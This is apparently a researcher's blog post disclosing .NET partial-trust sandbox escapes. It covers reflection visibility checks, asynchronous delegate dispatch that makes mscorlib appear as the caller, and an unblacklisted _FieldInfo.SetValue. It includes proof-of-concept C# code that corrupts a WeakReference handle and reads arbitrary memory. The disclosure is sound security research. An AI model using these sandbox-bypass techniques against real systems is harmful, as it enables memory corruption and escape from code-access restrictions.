Reflection is a very useful feature of frameworks such as .NET and Java, but it has interesting security issues when you're trying to sandbox code. One which is well known is how much the framework will try to emulate the normal caller visibility scoping for reflection APIs which would exist if the code was compiled. Perhaps that needs a bit of explanation, imagine you have a C# class which looks something like the following:
public class UnsafeMemory {
IntPtr _ptr;
ushort _size;
public UnsafeMemory(ushort size) {
_ptr = Marshal.AllocCoTaskMem(size);
_size = size;
}
public byte ReadByte(ushort ofs) {
if (ofs < _size) {
return Marshal.ReadByte(_ptr, ofs);
}
return 0;
}
}
This has a sensitive field, a pointer to a locally allocated memory structure which we don't want people to change. The built-in accessors don't allow you to specify anything other than size (which is also sensitive, but slightly less so). Still reflection allows us to change this from a fully trusted application easily enough:
UnsafeMemory mem = new UnsafeMemory(1000);
FieldInfo fi = typeof(UnsafeMemory).GetField("_ptr",
BindingFlags.NonPublic | BindingFlags.Instance);
fi.SetValue(mem, new IntPtr(0x12345678));
As we've set the pointer, we can now read and write to arbitrary memory addresses. Flushed with success we try this in our partially trusted application and we get:
System.FieldAccessException: Attempt by method
ReflectionTests.Program.Main()' to
access field 'ReflectionTests.UnsafeMemory._ptr' failed.
at System.Reflection.RtFieldInfo.PerformVisibilityCheckOnField()
at System.Reflection.RtFieldInfo.InternalSetValue()
at System.Reflection.RtFieldInfo.SetValue()
at System.Reflection.FieldInfo.SetValue()
at ReflectionTests.Program.Main()
Well that sucks!
PerformVisibilityCheckOnField is implemented by the CLR so we can't easily look at it's implementation (although it's in the
SSCLI). But I think we can guess what the method is doing. The CLR is checking who's calling the
SetValue method and verifying the visibility rules for the field. As the field is private only the declaring class should be able to set it via reflection, we can verify that easily enough. Let's modify the class slightly to add a new method:
public static void TestReflection(FieldInfo fi, object @this, object value) {
fi.SetValue(@this, value);
}
If we call that method from our partial trust code it succeeds, thus confirming our assumptions about the visibility check. This can be extended to any reflection artefact, properties, methods, constructors, events etc. Still the example method is hardly going to be a very common coding pattern, so instead let's think more generally about visibility in the .NET framework to see if we can find a case where we can easily bypass the visibility. There are actually many different visibility levels in the CLR which can be summarised as:
| Name in CLR |
Name in C# |
Visibility |
| Public |
public |
Anybody |
| Family |
protected |
Current class and derived classes |
| FamilyAndAssembly |
No Equivalent |
Current class or derived classes in same assembly |
| FamilyOrAssembly |
protected internal |
Current class and derived classes or assembly |
| Assembly |
internal |
Current assembly |
| Private |
private |
Current class |
Of most interest is
Assembly (or
internal in
C#) as you only have to take a quick peek at something like
mscorlib to see that this visibility is used a lot to protect sensitive classes and methods by localizing them to the current assembly. The
Assembly visibility rule means that any class in the same assembly can access the field or method. When dealing with something like
mscorlib, which has at least 900 public classes you can imagine that would give you something you could exploit. Turns out a good one to look at is the handling of delegates, if only for one reason, you can get them to call a method with the caller set to a something in
mscorlib, by using asynchronous dispatch.
For example if we run the following code we can get the calling method from the delegate, this correctly removes methods which the CLR considers to be part of the delegate dispatch.
Func<MethodBase> f = new Func<MethodBase>(() =>
new StackTrace().GetFrame(1).GetMethod());
MethodBase method = f();
Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);
OUTPUT: ReflectionTests.Program::Main
Not really surprising, the caller was our Main method. Okay now what if we change that to using asynchronous dispatch, using
BeginInvoke and
EndInvoke?
Func<MethodBase> f = new Func<MethodBase>(() =>
new StackTrace().GetFrame(1).GetMethod());
IAsyncResult ar = f.BeginInvoke(null, null);
MethodBase method = f.EndInvoke(ar);
Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);
OUTPUT: System.Runtime.Remoting.Messaging.StackBuilderSink::_PrivateProcessMessage
How interesting, the code thinks the caller's an internal method to
mscorlib, hopefully you can see where I'm going with this? Okay let's put it all together, lets create a delegate pointing to FieldInfo.SetValue, call it via asynchronous dispatch and it's time to party.
Action<object, object> set_info = new Action<object,object>(fi.SetValue);
IAsyncResult ar = set_info.BeginInvoke(mem, new IntPtr(0x12345678), null, null);
set_info.EndInvoke(ar);
This works as expected with full trust but running it under partial trust we get the dreaded
SecurityException
System.Security.SecurityException: Request for the permission
of type 'System.Security.Permissions.ReflectionPermission' failed.
at System.Delegate.DelegateConstruct()
at ReflectionTests.Program.Main()
So why is this the case. Well the developers of .NET weren't stupid, they realised being able to call a reflection API using another reflection API (which delegates effectively are) is a security hole waiting to happen. So if you try and bind a delegate to certain set of methods it will demand
ReflectionPermission first to check if you're allowed to do it. Still while I said they weren't stupid, I didn't mean they don't mistakes as this is the crux of the two vulnerabilities I started writing this blog post about :-)
The problem comes down to this, what methods you can or cannot bind to are just a black-list. Each method is allocated a set of invocation flags represented by the
System.Reflection.INVOCATION_FLAGS enumeration. Perhaps the most important one from our perspective is the
INVOCATION_FLAGS_FIELD_SPECIAL_CAST flag. This is a bit strangely named, but what this indicates is the method should be double checked if it's ever invoked through a reflection API. If we look at
FieldInfo.SetValue we'll find it has the flag set.
Okay so the challenge is simple, just find a method which is equivalent to
SetValue but isn't
FieldInfo.SetValue. It turns out that
FieldInfo implements the interface
System.Runtime.InteropServices._FieldInfo which is a COM interface for accessing the
FieldInfo object. It just so happened that someone forgot to add this interface's methods to the blacklist. So let's see a real PoC by abusing the
WeakReference class and its
internal m_handle field:
// Create a weak reference to 'tweak'
string s = "tweakme";
WeakReference weakRef = new WeakReference(s);
// Get field info for GC handle
FieldInfo f = typeof(WeakReference).GetField("m_handle",
BindingFlags.NonPublic | BindingFlags.Instance);
MethodInfo miSetValue = typeof(_FieldInfo).GetMethod("SetValue",
BindingFlags.Public | BindingFlags.Instance, null,
new Type[2] { typeof(object), typeof(object) }, null);
Action<object, object> setValue = (Action<object, object>)
Delegate.CreateDelegate(typeof(Action<object, object>),
f, miSetValue);
// Set garbage value in handle
setValue.EndInvoke(setValue.BeginInvoke(weakRef,
new IntPtr(0x0c0c0c0c), null, null));
// Crash here read AV on 0x0c0c0c0c
Console.WriteLine(weakRef.Target.ToString());
CVE-2014-1895 described the issue with all similar COM interfaces, such as
_MethodInfo,
_Assembly,
_AppDomain. So I sent it over to MS and it was fixed. But of course even though you point out a security weakness in one part of the code it doesn't necessarily follow that they'll fix it everywhere. So a few months later I found that the
IReflect interface has an
InvokeMember method which was similarly vulnerable. This ended up as CVE-2013-3132, by that point I gave up looking :-)
As a final note there was a similar issue which never got a CVE, although it was fixed. You could exploit it using something like the following:
MethodInfo mi = typeof(Delegate).GetMethod("CreateDelegate",
BindingFlags.Public | BindingFlags.Static,
null, new Type[] { typeof(Type), typeof(MethodInfo) }, null);
Func<Type, MethodInfo, Delegate> func = (Func<Type, MethodInfo, Delegate>)
Delegate.CreateDelegate(typeof(Func<Type, MethodInfo, Delegate>), mi);
Type marshalType = Type.GetType("System.Runtime.InteropServices.Marshal");
MethodInfo readByte = marshalType.GetMethod("ReadByte",
BindingFlags.Public | BindingFlags.Static,
null, new Type[] { typeof(IntPtr) }, null);
IAsyncResult ar = func.BeginInvoke(typeof(Func<IntPtr, byte>), readByte, null, null);
Func<IntPtr, byte> r = (Func<IntPtr, byte>)func.EndInvoke(ar);
r(new IntPtr(0x12345678));
It's left as an exercise for the reader to understand why that works (
hint: it isn't a scope issue as
Marshal.ReadByte is public). I'll describe it in more detail next time.
